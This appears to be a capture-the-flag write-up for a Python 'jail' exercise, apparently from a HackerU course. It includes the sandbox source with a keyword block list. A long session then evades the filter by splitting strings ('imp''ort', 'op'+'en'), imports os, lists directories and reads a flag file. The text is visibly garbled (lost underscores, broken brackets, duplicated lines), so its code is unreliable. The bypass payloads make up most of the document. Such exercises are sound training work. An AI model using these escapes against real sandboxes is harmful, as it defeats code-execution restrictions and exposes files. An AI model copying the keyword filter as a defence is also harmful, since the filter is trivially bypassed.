Python jail simple2

```
def main():
  text = input('>>> ')
  print(text)
  for keyword in ['eval', 'exec', 'import', 'open', 'os', 'read', 'system', 'write',
'subprocess']:
    if keyword in text:
      print('No!!!')
      print(f'{keyword} is banned!')
      return
  else:
    exec(text)
  return
GREEN = ' \ 033[92m']
WARNING = ' \setminus 033[93m']
ERROR = '033[91m']
ENDC = '033[0m']
if name == ' main ':
  print(
    f'{WARNING}Привет! Жестокие люди из HackerU посадили тебя в
песочницу с питоном\птебя выпустят из песочницы, если ты сдашь флаг!
nтебе еще повезло: вот код программы: ENDC'
  print('-' * 200)
  print(open( file , encoding='utf-8').read(1063))
  print('-' * 200)
  print('вводи свои догадки:')
  while True:
    try:
      main()
    except Exception as e:
      print(f"Ой! что-то сломалось!\n{ERROR}{e}{ENDC}")
      1) FIND FLAG FILE
>>>print( builtins . dict [' imp''ort '])
<bul><built-in function __import_>
```

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>>> print( builtins . dict [' imp''ort ']('o'+'s'))
<module 'os' from 'C:\\Program Files\\Python39\\lib\\os.py'>
>>> print(__builtins__.__dict__['__imp''ort__']('o'+'s').listdir())
['ftp brut.py', 'ftp brute.py', 'ftp client.py', 'hard sandbox.py', 'passwords.txt',
'simple sanbox.py', 'simple sanbox1.py', 'ssh brute.py']
>>>print( builtins . dict [' imp''ort ']('o'+'s').listdir("../"))
['.idea', 'Byte code', 'Expiriment', 'flag.txt', 'Leson1', 'Leson2', 'Leson3',
'Leson4', 'Leson5', 'Leson6', 'Lesson10', 'Lesson7', 'Lesson8', 'Lesson9',
'py_jail.py', 'secretnij.py', 'venv', '__pycache__']
              2) READ FLAG HARD WAY!!!
>>>f= builtins . dict ["op"+"en"]("../flag.txt","r",encoding='utf-8');print(f)
< io.TextIOWrapper name='../flag.txt' mode='r' encoding='utf-8'>
>>> r = __builtins__.__dict__['__imp''ort__']('io');print(dir(r))
['BlockingIOError', 'BufferedIOBase', 'BufferedRWPair', 'BufferedRandom',
'BufferedReader', 'BufferedWriter', 'BytesIO', 'DEFAULT_BUFFER_SIZE', 'FileIO',
'IOBase', 'IncrementalNewlineDecoder', 'OpenWrapper', 'RawlOBase',
'SEEK_CUR', 'SEEK_END', 'SEEK_SET', 'StringIO', 'TextIOBase', 'TextIOWrapper',
'UnsupportedOperation', '_WindowsConsoleIO', '__all__', '__author__',
  __package__', '__spec__', '_io', 'abc', 'open', 'open_code']
a =['TextIOWrapper', 'UnsupportedOperation', '_WindowsConsoleIO', '__all__',
  '__name__', '__package__', '__spec__', '_io', 'abc', 'open', 'open_code']
len(a)
17
>>r = builtins . dict [' imp''ort ']('io');re = getattr(r,(dir(r)-
[-17]));print(re)
<class ' io.TextIOWrapper'>
>>r = builtins . dict [' imp''ort ']('io');re = getattr(r,(dir(r)-
[-17]));print(dir(re))
['_CHUNK_SIZE', '__class__', '__del__', '__delattr__', '__dict__', '__dir__', '__doc__', '__enter__', '__eq__', '__exit__', '__format__', '__ge__', '__getattribute__', '__gt__',
  hash__', '__init__', '__init_subclass__', '__iter__', '__le__', '__lt__', '__ne__
_new__', '__next__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__
'__sizeof__', '__str__', '__subclasshook__', '_checkClosed', '_checkReadable',
```

```
' checkSeekable', ' checkWritable', ' finalizing', 'buffer', 'close', 'closed',
'detach', 'encoding', 'errors', 'fileno', 'flush', 'isatty', 'line buffering', 'name',
'newlines', 'read', 'readable', 'readline', 'readlines', 'reconfigure', 'seek',
'seekable', 'tell', 'truncate', 'writable', 'write', 'write through', 'writelines']
a = ['read', 'readable', 'readline', 'readlines', 'reconfigure', 'seek', 'seekable',
'tell', 'truncate', 'writable', 'write', 'write through', 'writelines']
len(a)
13
>>> r = __builtins__.__dict__['__imp''ort__']('io');re = getattr(r,(dir(r)-
[-17]));rea=getattr(re,dir(re)[-13]);f= builtins . dict ["op"+"en"]("../-
flag.txt","r",encoding='utf-8');print(f);print(rea)
< io.TextIOWrapper name='../flag.txt' mode='r' encoding='utf-8'>
<method 'read' of '_io.TextIOWrapper' objects>
>>> r = \_builtins\_.\_dict\_['\_imp''ort\_']('io'); re = getattr(r,(dir(r)-imp''ort\_')) re = getattr(r,(d
[-17]); rea = getattr(re,dir(re)[-13]); f = builtins . dict ["op"+"en"]("../-
flag.txt","r",encoding='utf-8');print(rea(f))
iklhg-FLAG-lkjhgkkfgh
                                 READ FLAG EASY WAY!!!!
 getattr(a,b) get attribut with name/value <b> from dictionary/list <a>
 <a> builtins . dict ["op"+"en"]("../flag.txt","r",encoding='utf-8') ---
< io.TextIOWrapper name='../flag.txt' mode='r' encoding='utf-8'>
           >>> print(type( builtins . dict ["op"+"en"]("../-
flag.txt","r",encoding='utf-8')))
                                 <class ' io.TextIOWrapper'>
                      >>> print(dir( builtins . dict ["op"+"en"]("../-
flag.txt","r",encoding='utf-8')))
                      ['_CHUNK_SIZE', '__class__', '__del__', '__delattr__', '__dict__', '__dir__',
'__doc__', '__enter__', '__eq__', '__exit__', '__format__', '__ge__',
'__getattribute__', '__gt__', '__hash__', '__init__', '__init_subclass__', '__iter__',
'__le__', '__lt__', '__ne__', '__new__', '__next__', '__reduce__', '__reduce_ex__',
'__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__',
'_checkClosed', '_checkReadable', '_checkSeekable', '_checkWritable',
'_finalizing', 'buffer', 'close', 'closed', 'detach', 'encoding', 'errors', 'fileno',
'flush', 'isatty', 'line buffering', 'mode', 'name', 'newlines', 'read', 'readable',
'readline', 'readlines', 'reconfigure', 'seek', 'seekable', 'tell', 'truncate',
```

'writable', 'write', 'write_through', 'writelines']

>>>